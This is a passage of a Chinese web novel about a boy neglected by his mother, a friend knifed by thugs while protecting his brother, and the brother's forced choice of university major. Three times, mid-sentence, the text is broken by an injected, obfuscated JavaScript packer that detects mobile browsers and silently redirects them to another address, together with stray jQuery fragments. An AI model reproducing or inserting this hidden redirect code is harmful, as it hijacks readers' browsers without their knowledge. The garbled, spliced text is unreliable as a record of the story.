“听说花会使人心情愉悦。”他摘下一朵龙沙宝石,放在方清珏的掌心,“我把它送给你,你会不会开心一点?” 方清珏的心倏然一动。 顷刻之间,仿佛世间万物都不再沉闷,俗世的烦心与忧愁,不甘与愤懑都逐渐消融在这如水的月色中。 他垂眼看着粉嫩的花朵,喃喃道:“……我尽量。” 19. P.暗巷警告 清晨,方清珏喊方程和林真真下来吃早饭,发现这两个人似乎陷入了冷战,谁也不理谁,一顿饭吃得压抑至极。 方程铁了心要将早恋进行到底,林真真没再逼他分手,但也没放弃,只是惊涛变成了偷偷涌动的暗流。 今天八中正式开学,下午会有例行家长会。林真真这回没出席方程的,倒是破天荒地来了方清珏的班级,这让他有点受宠若惊。 但他没惊多久,就听林真真说:“就考了这么点分,真给我丢人。” 方清珏:“我是第五名。” 林真真不以为意:“又不是全校前五。” 方清珏:“……” 他忽然想知道,如果他也能像方程一样名列前茅,林真真对他的态度会不会好起来。 尽管她对这个成绩不大满意,班主任还是毫不吝啬地夸赞了一番方清珏,这让林真真在其他家长面前涨了不少面子。 家长会结束后,她破天荒地带方清珏去吃了一顿干锅虾。 这顿饭吃得他有点心塞——他好像知道了林真真为什么会爱方程。 原来并不是所有母爱都是无私的,至少林真真的爱有条件。但这个条件,方清珏能接受,也给得起。 他拿出千百倍的精力放在学习上,每天学到后半夜两三点,和江川的聊天也多了起了,微信里全是各种题型的解题思路。 一眨眼,一周过去了。 明天方程要去市里参加联考,林真真亲自下厨煲了锅鱼头汤,喊方程下楼喝。 以往这种事都没有方清珏的份儿,但这回她分出来一碗。 想起江川也在竞赛班,方清珏没舍得喝,去厨房找了个保温饭盒,将那碗鱼汤倒进去,拎着去了道北,照着记忆找到了陈婆圈出来的院子。 江川房间的窗户开着,灯也亮着。透过窗,能看见他坐在书桌前低头学习,方清珏走过去敲了敲玻璃。 “咚咚咚。” 江川应声抬头,看见他的一刹那很意外,也很惊喜,“怎么不进来?” 方清珏推开纱窗,将保温盒放在窗沿上:“我就不进去打扰你学习了。” “这是什么?” “我妈炖的鱼头汤。” 江川意味深长地哦了一声,“那你怎么不喝?” “不爱喝。”方清珏将纱窗合上,透过纱窗上无数个细小的方孔和他对视,“你趁热喝,一会儿该凉了。” “好。”江川被台灯的暖光笼罩着,面庞柔和得过了分,“正好明早我要去接你哥,顺便把饭盒给你带过去。” “你们约好了一起去学校坐大巴?” “嗯。” “行,那我走了啊。” 方清珏长腿一迈,跨过矮篱笆,回头看了一眼。江川站在窗口看着他,眼里仿佛盛着星光,比以往哪一次都要亮。 第二天用过早饭,方程坐在院子里做数独,方清珏拎着洒水壶一遍遍地给院里的花浇水。 时间一分一秒的过去,越来越接近大巴发车的时间,江川却一直没有出现。 他按耐不住,走到院外张望,胡同里只有几个玩闹的小孩子,再也没有其他人。 他掏出手机给江川弹了条语音,没人接。 “再不走就赶不上车了。”他看向方程,“你先走吧。” 方程觉得奇怪,江川不是这种无故爽约的人。他打了几通电话过去,也一直没人接。 “我去他家看看,可能是被什么事绊住脚了。”方清珏说。 “那好吧。”方程将数独卡放进背包,骑着自行车离开了。 望着方程离开的背影,方清珏渐渐凝起了眉。他想起陈序的话,想起寸头看向江川的目光,心里登时升起一股不详的预感,立刻朝道北跑了过去。 刚跑到柳树下,就和正准备去店里的陈婆打了个照面,他急忙问道:“阿婆,江川在家吗?” 陈婆有些疑惑:“他一早就走了呀,说要接上你哥一起去学校,你没看见他吗?” 方清珏一听,心里登时咯噔一声。 CMO决定他们能不能保送清北,江川不可能怠慢。他明明早就出发了,却一直没现身,那只能是路上发生了什么。 这个筒子楼是七十年代的搪瓷厂宿舍,离海角街不算近,有好几条路可以走,方清珏来时走得是江川送他回家走过的那条路,一路上都没有什么发现。 这说明,这回江川没走这条路。 方清珏连忙折返回去,选了另一条路。他的步伐没有停过,而且走得越来越快,每经过一个胡同都会冲进去找上一番,每经过一个岔路口都要挨个方向都走上一遭,然后再回到原点顺着路继续往回走。 如此来回试了好几条路线,一直都没有发现江川的踪迹,不详的预感越来越强烈,他急得像热锅上的蚂蚁,在巷弄间四处乱窜。 方清珏头一次觉得港城大,几公里的范围内找个人都像是在海底捞针。 他停下来,胳膊撑着膝盖,气喘吁吁地看着路上来来往往的行人,思索着江川可能会行走的路径。兜里的手机震了震,他掏出来看了一眼,是方程发来的短信。 「老师联系不上他,只能让车先走了。」 大巴都发车了他还没到,一定是出事了。 方清珏眉头紧锁,心彻底沉了下去。 他抓起衣角擦了擦脸上的汗,脑子里不断盘算着还有没有其他路线。 明面上的路基本都找遍了,难道江川抄近道了? 方清珏猛地想起了旧厂,如果从那个厂子穿过去,可以更快到达海角街。 他立刻赶了过去,果然在旧厂街后巷看见了十几个混混。他们形成了一个包围圈,将什么人层层包围住,方清珏看不清里面的情况,但听见了胖子骂骂咧咧的声音。 他当即停下脚步,掏出手机,哆哆嗦嗦地按下了110。 * 江川坐在地上,白衬衫上全是大小不一的鞋印。一旁的胖子没有他这么狼狈,但也没有好到哪里去。 寸头蹲在江川面前,手里握着蝴蝶刀,用沾着血的刀刃一下一下地拍他的脸:“方程是你们爹还是你们妈?一个上赶着冒充,一个上赶着挨打。” “操!你嘴巴放干净点!”胖子立刻挣扎着想起来打他,又被几个混混按着肩坐了回去。 寸头的目光在他身上停留了一秒,又回到江川脸上:“别怪我没提醒你,以后再多管闲事,我划的可就不是这儿了。” 江川不卑不亢地与他对视了几秒,突然低低地笑出了声,越笑声音越大,听得人心里发怵。 那双浅淡的眼眸也突然迸发出一道难以言喻的光,好似整个人都兴奋极了。他握住寸头的手,带着他将刀尖抵在脖子右侧的大动脉上,低沉的嗓音透着不易察觉的癫狂,“那你来啊。” 胖子一听,脸色瞬间就白了,立刻义愤填膺地喊:“他妈的你们以多欺少算什么本事,有本事就和我单挑!老子不打死你老子不姓邹!” 寸头没搭理他,两只眼睛始终盯着江川,眼底那抹审视的意味越来越浓。他低头凑近,在江川耳边低声道:“你挺疯啊,你外婆跟你一样疯吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15139909|164475||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 江川的笑声戛然而止,眸光瞬间就暗了下去,脸上的笑容一点点消失。 他双眼一眨不眨地注视着寸头,眼中射出刀子般锐利的寒光。寸头不露声色地回盯着他,两个人都一言不发,沉默地在风中对峙,像无声的较量,更像一场心理博弈。 半晌,江川缓缓松开了手。 寸头顺势将刀刃按在他衬衫领口上,正反两面都蹭了蹭,将沾在刀尖的血都蹭到了雪白的衣领上。 “长长记性。”他用刀刃拍了拍江川的脸。 江川仰起脸看他,透明镜片下的那双眼睛弯弯的,眼里却没什么温度。 寸头收起蝴蝶刀说了句撤,混混立刻放开了他们,跟在后面一起走了。 围在巷子里的人都撤了,方清珏才看清挨坐在一起的江川和胖子,登时瞪圆了眼睛,瞳仁剧烈地颤了颤。 江川斑驳的白衬衫被划开一道特别大的口子,后背洇着一大片鲜血,看起来触目又惊心。 “江川!”他立刻挂掉电话冲了过去,急得声音都变了调。 胖子正在查看江川的伤势,闻言看过来一眼,诧异道:“你怎么来了?” 方清珏仿佛没听见,蹲在江川身边检查他后背的伤。这伤口是被刀划出来的,差不多有三指长,斜斜地横在蝴蝶骨下方,看起来非常狰狞。 “他们居然敢动刀子?”他倒吸一口凉气,从头到脚仔仔细细地查看了一遍,确定江川就后背有一道伤口,才想起什么:“救护车,对,我得叫个救护车。” 江川声音很低,还有点颤:“救护车能开进这巷子?” “也,也对。”方清珏的大脑一片空白,甚至都有点懵,说话也有点结巴,“那我出去拦,拦个车。” 他刚要站起身,江川就一把抓住了他的手腕,一脸认真地问:“你哥走了吗?” 方清珏脸色一黑,忍不住想要骂人,“这时候你还管他走没走?” 一句话喊完,他才意识到江川还在地上坐着,便架着他的另一只胳膊,配合胖子一起将他扶了起来。 江川不止衣服很脏,裤子上也全是脚印。他是那么爱干净的一个人,一向衣不染尘,几时这样狼狈过。 方清珏越看越难受,抬手拍掉了他裤子上的灰,轮到臀部的时候,手停在空中顿了几秒,然后收了回去,扭头跑出巷弄去马路上拦出租车。 胖子一脸紧张地盯着江川的后背,见状,江川很轻地扬了下唇角:“放心,伤口不深,就是看着吓人。” 胖子松了口气,脸上终于有了点血色:“谅他也不敢下手太黑。” 他搀扶着江川往出走,边走边用一种极为复杂的目光看他:“我说,你该不会是抖M吧?怎么挨打比撂翻他们还兴奋?” 闻言,江川眯眼笑了出来,太阳在透明镜片上投下两道金色光斑,点亮了那双藏在镜片下的眼睛,令这抹再寻常不过的笑容透出几分不同寻常的深意。 胖子看得心里瘆得慌,胳膊上不由自主地起了一层鸡皮疙瘩,“你能不能正常点。” “我很正常啊。”江川说。 “正常个仙人板板。”胖子拆穿他,“你一这样眯眼笑准没好事。” 方清珏拦了辆车,折回去和胖子一起将江川抬进车,然后拉开副驾驶的车门钻进去,急冲冲地说:“去最近的医院。” 旧厂街这边经常有打架斗殴事件发生,司机早已见怪不怪,闻言便踩着油门往前冲。 方清珏平复了一会儿情绪,等手不再那么抖了的时候,才回头问江川:“到底是怎么回事?” 20. P.报应不爽 江川脸色苍白,唇色也很淡,鼻翼还坠着极细密的汗珠,一看就知道疼得厉害,只不过在强撑。可他听见方清珏的质问,却第一时间勾了勾唇,露出一个浅淡的笑。 “没什么。”他声音仍旧有点颤,“就是意外碰到了。” “屁!”胖子愤愤地骂了一句。 江川瞪了他一眼,胖子只当眼睛坏了没看见,继续往下讲:“明明是发现那帮人蹲在胡同那,怕他们堵方程,故意把人给引走了。” 方清珏在巷子口报警时听到了几句对话,但听得稀里糊涂的,这回总算捋顺了逻辑。他喉咙发紧地问:“所以你就冒充他?” 江川没反驳。 他的默认像是压死骆驼的最后一根稻草,又像是燎尽荒原的星星之火,瞬间将方清珏引爆。 “你是傻吗?” 他兀地喊了出来。 明明有那么多方法,这个人却偏偏选择了最简单也最粗暴的一种,丝毫没拿自己的命当回事。 尤其是他这么做还是为了方程。 这让方清珏愤怒到了顶点,又非常难受,比听见林真真说她只有方程这么一个儿子的时候还要难受。 胖子一听,顿时不乐意了,“你小子怎么说话呢?川哥这样还不是为了你哥?” 方清珏用力咬紧后槽牙,咬得牙齿咯吱咯吱作响。他实在不懂方程到底哪里好,值得江川这样对待,不由得尖刻地问:“他谈恋爱和你有什么关系?用得着你给他当爱情守门员?” “你别激动。”江川的声音虽然虚弱,却很平静,“先消消气。” 他的态度让方清珏感觉自己一拳打在了棉花上,深深的无力感让焦躁的情绪迅速占据了上风,瞬间就烦得想从车上跳下去。 他深深地看着江川,看了得有几十秒,却未能从那双浅淡的眼眸里读出任何情绪。 方清珏彻底冷了脸,眼里的锋芒竟是前所未有的尖锐。他收回视线,坐直身体,没有再说话的意思。 车里突然安静下来,气氛蓦然变得压抑。 江川这才察觉自己说错了话,可他不确定方清珏到底在气什么,不好轻易开口,便用求助的目光看向胖子,希望他能说几句话活跃活跃气氛。 “该。”胖子白了他一眼,那神情仿佛在说你也有今天。 江川:“……” 出租车很快开到了医院。 许是身上的血太吓人,方清珏等人一进医院就被护士领进了病房。医生检查完说幸好伤口不深,但还是缝了几十针。 江川背上的创面太大,是在手术室缝的针,方清珏和胖子守在门口,没看见缝的过程,但在他被推出来的时候,看见了像鱼钩一样,和针线盒里的针差不多粗的弯针。 一想到这东西要在皮肤里扎来扎去,他的脊背就跟着隐隐泛疼,脸色就更臭了。 江川趴在病床上挂水,胖子像门神似的杵在门口,方清珏则坐在病床左边,像只镇宅兽。他们两谁都不开口说话,屋子里又只有江川一个病人,静得有些可怕。 “你怎么来了?”江川试探着逗方清珏,“这么担心我啊?” 方清珏连看都没看他:“废什么话。” 这会儿他已经彻底冷静了下来,不像刚冲进巷子里时那样慌乱,也不像在车里时那样烦闷和无力,万般情绪褪下去,露出蛰伏在根茎深处的愤怒。 他声音很冷,表情更冷,像寒冬腊月凝在窗棂上的冰碴:“到底怎么回事,再撒谎我立刻走人。” 江川无法,只能扭头去看胖子,希望他能帮忙美言几句,没想到胖子再次像没看见似的别过了脸。 他深深地叹了口气,坦白从宽:“我到你家附近的时候,发现有几个黄毛蹲在胡同门口。那几个人经常在我家那片儿打架,我怕他们是冲方程来的,就想和老伍解决完了再去找你哥。” “你怎么解决?”方清珏乜眼看他,“你打个电话让方程换条路走不就完了吗?我家院子翻出去就是浅水湾,大不了就绕个远,用得到这样吗!” “谁能想到他们后面还有人。”江川略带讨好地笑了笑,“再说他们也没有打架的意思,只是想拖住我们,不让我们去学校,寸头来了以后才打起来,不信你问老伍。” 江川看向胖子,胖子和他对视了几秒,大发慈悲地点了点头,“他确实是最后来的,而且一来就冲那几个混混发了火,明摆着是知道抓错人赶过来收拾烂摊子的。” 方清珏立刻抓住了重点——他们堵方程,是为了拖住他,不让他坐学校的大巴。但方程还是赶上了,所以寸头知道手下堵错了人。 那么问题来了。 “他怎么知道方程赶上了?”他问。 江川略微思忖了几秒,说:“大巴停在操场,校外人不可能知道都谁在车上。” “这么说,是咱们学校的人给寸头通风报信?”胖子有点诧异。 “不止。”江川正了正神色,“那个人应该也在大巴车上。” 胖子不解道:“可他为嘛要这样呢?方程上不上大巴车和他有啥关系?” 方清珏的心里突然冒出来一个猜测:“有没有一种可能,想堵方程的人并不是寸头,而是参加了这次省联赛的人。他就在大巴车上,看见方程上车就立刻通知了寸头,寸头知道手下堵错了人,才气冲冲地去找你们算账。” “可他图什么?”胖子一脸茫然,“他总不会觉得只要方程参加不了,他就能拿到好名次吧?” 胖子无心的一句话,却醍醐灌顶般地拨开了迷雾。方清珏和江川对视一眼,异口同声道:“你真相了。” “不能吧……”胖子难以置信地张了张嘴,“方程那变态的成绩在市里都出名,谁这么不自量力?” “他应该也拿过满分,”江川分析道,“所以觉得自己只比方程差了一点点。” “难道是……”胖子的表情忽然变得非常微妙,“操!他不就拿过一回而已,还真把自己当盘菜了?” 他说着就摸出了手机:“我这就给裴老打电话,让裴老知道知道他是什么人!” “你有证据?”江川不紧不慢地问。 胖子:“……” 他点击屏幕的手指停滞了一瞬,然后烦躁地骂了一声操,心不干情不愿地将手机收了起来。 方清珏的目光在他们之间游移,“你们知道是谁?” 江川道:“只是怀疑。” “那你们被堵住的时候为什么不报警?”方清珏说,“警察一查就能查出来是谁在给寸头通气。” 江川一听就笑了:“江湖事江湖了,报警反而会没完没了。” 胖子也说:“这你就不懂了吧。这种小打小闹警察叔叔挺多口头批评几句。” 方清珏的眉头陡然一沉:“都动刀了还小打小闹?!你到底懂不懂法!” “嘿——!”胖子蓦然站直了,“动手咋了,就这刀伤,还没等结疤他们就能出来报复了,然后咋办?川哥又不是光杆儿一个,你让阿婆咋办!” 方清珏语塞一秒,气得站了起来,“难道就这么算了?” “你两急什么。”江川抬手扶了下眼镜,眯眼笑了笑,“没听过一句话么,恶人自有天收。” “你居然还笑得出来?”方清珏恨铁不成钢地说,“就这么错过CMO,我看你高考怎么办!” “这我倒是无所谓。”江川不大在意地说,“我不参加竞赛也能考上想去的大学,没人干涉我读什么专业。那辆大巴我上不上都行,你哥才是非上不可。” 闻言,方清珏瞬间哑火了,随即就别过脸去没再说话。 方程偏科严重,总分虽然不低,但靠高考还真不一定能进清北。而且林真真一直想让他学商,但方程偏偏想读计算机,如果正常走高考,他的志愿八成会被林真真改掉。 所以他只有参加CMO拿金牌这一条路,在林真真不知情的情况下先和校方取得联系,才能定下想去的专业。 就像江川说得那样,这辆大巴关系着方程的未来,他必须得上。这应该就是他无论如何都要推方程一把的原因。 想通这一点,那股难受劲又去而复返,比之前在车上还强烈。方清珏攥紧手指捏成了拳,指甲用力地掐着掌心,胸口闷胀无比。 “这件事别告诉你哥。”江川说着也警告性地看了一眼胖子,“你也别说。这件事发生的突然,他们动手也不是冲方程,没必要让他跟着内疚。” 胖子听罢拉下了脸。 方清珏一言不发地走了出去,用力摔上了门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15139910|164475||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 江川这一刀属实没白挨,方程不负所望地拿了省第一。又在十一月全国奥林匹克数学竞赛中以第三名的成绩进入国家集训队,入围国际奥林匹克数学竞赛。 而八中其他人都榜上无名。 学校特意将初中部和高中部集合到一起开了一次全校表彰会,不仅将方程夸得天上有地下无,还因为校园霸凌严厉批评了一个学生。 这人也是道北的,是江川班的学委,叫刘周洋,不仅报名了数学竞赛,还报名了物理竞赛,但都止步于省联赛。 物理好的数学一定不会差,反过来数学好的不一定能学好物理。连方程这种理综偶尔能拿满分的苗子都没说报物理竞赛,他却报了,很多人都笑他不自量力。 刘周洋平时闷声不吭,半天踹不出一个响屁,却在一天晚自习把一个带头嘲笑他的学生堵在了卫生间,差点闹出人命。 这件事轰动一时,连其他学校的人都有所耳闻,学校给他记了大过,并加进了档案。 但刘周洋不服,一直嚷嚷着是被冤枉的,要调监控。蔡主任调完监控,压根没看见第二个进出卫生间的人,便联系家长把他劝退了。 拜他所赐,学校加强了晚自习管理,将所有年级报名晚自习的人都归拢到阶梯教室,由蔡主任亲自看管纪律。 这一下怨声四起,参加晚自习的人少了一大半,刘周洋顿时成了众矢之的,离校一个多月还有人在咒骂他不得好死。 期末考愈来愈近,天气也一天比一天冷。这天,陈序一进教室就往他桌上扔了一袋热包子,“伍哥让给你留两。” 胖子家是开包子铺的,所以他一天三顿都是包子,吃得快吐了,总把带出来的包子往出分。方清珏咬了口包子,听陈序说寸头因为伤人致残被抓了进去。 他连嘴里的馅都顾不上咽,鼓着腮帮子问:“什么时候的事?” “昨晚。”陈序说,“道北那帮混混都跟耗子一样精,要不是有人提前报了警,很难当场抓现行,更别提关进去了。” “谁报的警?” 陈序沉吟几秒,像是不知道该不该说,也像不知道该怎么说。 方清珏绷着嗓子,囫囵不清地问:“江川?” 陈序摇了摇头:“不清楚。” 方清珏就此沉默了,垂着眉眼看手里的浸油包子,目光变得深邃锐利。 这现世报来得太突然了,突然得不符合常理。 放学后,他去理发店找江川,看见江川和胖子站在店门口放二踢脚,嘭地一声巨响吓得他一哆嗦。 “喏,压压惊。”江川最先瞧见他,往他手里塞了一块水果硬糖。 “怎么光给他不给我呢!”胖子把手伸进江川的棉衣兜里,抓出来一把五颜六色的硬糖。 他撕开包装纸,把糖扔进嘴里嘎吱嘎吱地嚼了嚼,然后就嫌弃地皱起了眉头:“这玩意儿真难吃,跟泡了醋的玻璃渣子似的。” 闻言,江川捏着他的下巴,凶巴巴地说:“那你别吃,给我吐出来。” “这也没过年,你们放炮干什么?”方清珏将糖球塞进嘴里,柠檬味的,有点酸,和江川身上的气味很像。 “庆祝啊,庆祝恶人自有天收!”胖子将剩下的糖塞回江川兜里,“还你,全都还你。” 方清珏问:“是你们举报的吗?” “怎么会是我们呢?”江川扶了下眼镜,眼神非常坦荡,“我们可是光明磊落的良好公民,不干偷鸡摸狗这种事。” “我听说寸头被抓的时候后背被划了好几道口子,还以为是你们干的。” “真不是,”江川勾起唇角,露出一个人畜无害,非常清澈的笑,“巧合吧。” “那是他活该。”胖子哼了一声,“要真是我们,我们怎么可能这么轻易放过他,不得把他后背划烂?” 也是。 方清珏暗忖着,也跟着放了一个二踢脚。 鞭炮在空中炸响的时候,江川仰起头,望着青灰不明的天空翘起了唇角,透明镜片下的双眼微微眯了起来,显得笑意有些森然。 方清珏突然想起,那天江川在医院说恶人自有天收时也是这样笑的。 冷风卷起一地残渣,他不由自主地打了个激灵,忽然感觉脊背有点凉。 21. P.无处可依 二踢脚的声音太大,非常扰民,刚放了两个陈婆就不让放了。方清珏拎着书包跟在江川身后去偏屋写作业,胖子一向抄现成的,一看他们要写作业就找借口溜了。 理发店依旧放着听不懂的粤语歌,但不是上次那一首。江川没像上次那样敞开门,等他进来后就关上了。 “整个省都在下雪,就咱们这没动静。”他低头看天气预报,有点可惜地说:“今年怕是堆不成雪人了。” 方清珏把书包放在他旁边的凳子上,问:“你很喜欢堆雪人?” “喜欢看,但不喜欢堆。”江川将手机收起来,“要是下雪了,我就让老伍在院子里堆一个,我一抬头就能看见。” 方清珏顿了顿,说:“你们已经高考倒计时了吧?” 江川嗯了一声。 “那你想好考哪所大学了吗?” “早就想好了。”他从书包里拿出练习册,“我是去不了北清,但X大应该没问题。” X大是医学院,就在B市,离港城不到二百公里。方清珏有点意外地问:“你想学医?” “一直很想。” “哪个专业?” “口腔医学,将来当个牙医。”江川支着胳膊,歪头畅想了一番,“等陈阿美女士牙疼又不肯去看病的时候,我在家就能给她治。” 方清珏听罢,目光一偏,落在桌角那摞奥数竞赛练习册上。自打没赶上大巴车,江川再也没碰过那几本书,都积灰了。 他用力眨了眨眼,心里忽然很难受。 北清口腔医学要比X大好,虽然以江川的实力不一定能进国家集训队,但拿个银牌走保送应该没什么问题。 可他为了助力方程,放弃了有可能踏入北清的机会,退而求其次选择了X大。 世界上怎么会有这样的人。 大抵见他半天不说话,江川屈指敲了敲桌面,问:“你呢?” 方清珏沉吟了一会儿,很诚恳地说:“我不知道。” “不急,你来年才高一,还有大把时间慢慢考虑。”他像是想起了什么,眉眼弯出不明显的弧度,“你哥高三才确定要报考计算机,也许你们家就是开窍晚。” “开窍?” “对啊。”江川偏头看过来,眼尾带着狡黠的笑,“梦想这东西就像恋爱一样,有人开窍早,有人开窍晚,有人一辈子都开不了窍。” “那我可能是第三类。” “那也挺好,没有特别想要做的事,自然不会有特别遗憾的事。” 怎么没有。 现在就有。 方清珏瞥了一眼堆放在角落的竞赛练习册,垂着头,没再说话。 * 不知道为什么,这几天邻桌看过来目光有点怪,像是有话说,又像不敢说。 一开始,方清珏没想搭理。 可今天这货不知道怎么了,时不时就会看过来一眼,扭头的频率都高到让人怀疑他是不是看上自己了。 方清珏在他再一次看过来的时候扭过头,迎着他的视线问:“我脸上有国旗?” 他愣了一下,说:“没有啊。” “那你行什么注目礼?”方清珏不耐烦道,“有屁快放。” 邻桌听罢,扭头往窗户那边看了看。 方清珏顺着他的目光看过去,不确定他看的是不是陈序,因为陈序不在。 “你怎么和邹思伍他们混到一起去了?”邻桌的声音压得特别低,像是怕被第三者听见。 “谁是邹思伍?”他莫名其妙地问。 邻桌:“……” 邻桌:“就前几天和你一起放二踢脚的那个。” 原来他叫邹思伍啊,怪不得江川总喊他老伍。 方清珏:“他怎么了?” “他……”邻桌伸长脖子凑过来,正准备说,放学铃就响了。 寂静的教室立刻像开了锅的沸水,咕噜噜的响了起来,陈序也踩着点从后门进来,停在方清珏身后。 “你看荣誉墙了吗?”他问。 “没啊。”方清珏说。 邻桌瞥了他两一眼,讪讪地坐回去收拾书包。 “那你还是去看看吧。”陈序扔下这句话就回座位了。 方清珏狐疑地看了他几秒,心里升出一股不祥的预感。他背上书包冲了出去,果然见荣誉墙上多出来一张表,上面写着——恭喜我校高三一班方程同学保送北清商学院。 商学院? 怎么是商学院? 方清珏盯着那张表看了好几分钟,有如实质的眼神差点把商学院三个字烫出窟窿。 他想起江川血淋淋的背,那道十几厘米长的疤,那摞积了灰的竞赛练习册,和江川说想当牙医时荡漾在唇边的笑。 也想起书房角落里满满三纸箱的历年真题,想起半夜三点还在刷竞赛题的方程,想起他轻描淡写的那句“我想遵循我的自由意志”。 放学时的走廊总是人挤人,乱哄哄的,方清珏的大脑也乱嗡嗡的。他不知道什么是对,什么是错,只是觉得结果不应该是这样的。 于是,他蓦然转身,一路往半截胡同狂奔。 一跑进院,方清珏就听见了方程颇为无奈地一声:“妈,你怎么能改我志愿呢。” “怎么了?”林真真的声音很温柔,却又不失力量,像把会弯曲的软刀子,“不是你答应妈妈将来读商学院的吗?” 屋内霎时静默了下来。 方清珏弯着腰,胳膊支着膝盖站在门口,不住地喘气。 说话啊! 他心说,你倒是说句话啊! “妈……”方程不负所望地开了口,声音很低,还有点嘶哑,“我是真的喜欢编程。” “所以呢?”林真真的声音更温柔了,像幼儿园里温声细语哄闹脾气小孩的幼师,“你要食言吗?” “我……”方程没再往下说,像是开这个口非常艰难。 林真真叹了口气,“你早说你想学计算机,我就不到处求人给你请教授了。这些年我培养你容易吗?” 话音落地,屋子里再也没有任何声音,静得可怕。方清珏的心沉了下去,不断地向下坠,为数不多的理智也在飞速瓦解。 就在他受不了了,想推门进去的时候,门突然从内而外地打开了。 林真真拎着包往出走,见他堵在门口,眼里闪过一丝不快,“没事少往老太婆那跑,都被带坏了,连自己家墙根都听。” 方清珏拧着眉,声音和表情一样锋利割人:“为什么一定要学金融?” 林真真个子没到一米七,足足比方清珏矮了一头。但很奇怪,她明明是仰着头,可那目光却是从难以触及的高度,居高临下地扫过来的。 她就这么看了方清珏一眼,又立刻收回目光,经过他走了出去。 推开院子的铁门时,她回过头,说:“厨房煲着汤,你热一下再给你哥喝。” 说完,她关阖泛着锈的铁门,走了。 方清珏静静地站在门口,胸腔像被什么东西堵住了,鼻子也不通气,整个呼吸道都跟罢工了似的,憋闷到窒息。 他身后的厅里没有人,方程应该早就回书房了,他怎么能回书房呢? 他怎么能回书房呢! 方清珏摔上门,连鞋都没换就往楼上飞奔。 书房的门没有关。 方清珏一跑进去,就看见趴在桌子上,肩膀一耸一耸地颤抖着的方程。 他不用想都知道方程心里有多不甘,可他不明白,一点也不明白。 “为什么?”方清珏看着他紧攥成拳的手,“你不是要遵循你的自由意志吗?你的自由意志呢?” 方程重重地吸了下鼻子,肩膀没再动,声音闷闷的,“那不是自由意志,是自私。” 方清珏压根听不懂他在说什么:“怎么就自私了?不学金融怎么就成自私了?哪条法律规定子女必须得念父母选择的专业?” “是我答应……”方程顿了一下,“妈才往家里请老师的。” 天才不是一蹴而就的。 若不是林真真下了血本,请了很多教授和研究生回来给他补课,根本不会有初中就会微积分的天才少年,更不可能有这个保送名额。 方程不想做吃完饭就放下碗骂娘的白眼狼。 可方清珏还是无法理解:“你想做孝顺儿子就别打CMO的主意啊!你知不知道你的自由意志是要付出代价的!” 方程没动,也没说话。 “她培养你十几年了,你现在觉得这是自私了,当初背着她铆足劲追梦的时候干什么去了!”方清珏忍无可忍地吼了出来,“反正你都反抗了,就反抗到底不行吗!” 方程低声喃喃道:“我没反抗。” “什么?”方清珏没听清,“你说什么?” 方程的头稍稍动了动,幅度不大。然后,他有气无力地问:“我有什么资格反抗?” 方清珏纤长的睫毛抖了抖,垂在腿边的手指也蜷了起来。 是啊。 方程没有反抗的资格。 自己才有。 他这才意识到,他之所以能追求自由,能反抗,是因为林真真从未对他付出过什么。 从未。 那股憋屈的,烦闷的窒息感卷土重来,比之前严重,比以往强烈,像茧一样密不透风地将他层层包裹,令他不得不认清一个事实。 这个家,就是没有他的位置。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15139911|164475||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个家,永远没有他的位置。 方清珏倒吸了一口冷气,再缓缓将这口气叹出来,然后转过身,像来时一样跑了出去。 他几步跳下楼梯,奔出院子,顶着西北风在街上漫无目的地狂奔。 夜色漆黑,无星也无月,呼号呜咽的冷风像结了冰的尖锥不断往心里刮,他如同随风飘荡的浮萍,无处可去,无处可依,无处可栖。 方清珏从道南跑到道北,又从道北跑回道南,越跑越冷,越跑越心寒,就像一个在极地冰川裸奔的人,再大的运动量都拯救不了极具下降的体温。 直至他一个踉跄摔了个狗啃屎,抬头看见陈婆用篱笆围出来的院子时,才发现自己一次又一次闯进了江川家的筒子楼。 江川房间亮着灯,窗帘也拉上了,看不见屋里的人,但他坐在书桌前写作业的样子却立刻清晰地浮现在眼前。 方清珏从地上爬起来,像电线杆似的立在冷风中,一动也不动。 阳台的灯倏然亮起,出现一个瘦小的身影。下一秒,阳台的侧门打开了,陈婆探出头来,隔着冷风和黑夜与他对上了视线。 “我就瞧着像你。”她朝方清珏招手,“进来呀,外面多冷,别冻感冒了。” 昏暗中,老人的轮廓被头顶的灯光勾勒得异常清晰,也异常柔和。她眼里映着盈盈似火的光亮,望过来的眼神里透着说不出的关切和爱怜。 方清珏怔了怔,然后就像一只终于找到归处的迷途倦鸟,低头钻进了温暖的窝。 一进屋,陈婆就握住了他冻到没有知觉的手,温暖在这一秒彻底具象化,融化了少年用一层又一层的坚冰树立起的高墙。 “怎么不进来呢?”她问。 “怕你们睡了。”他答。 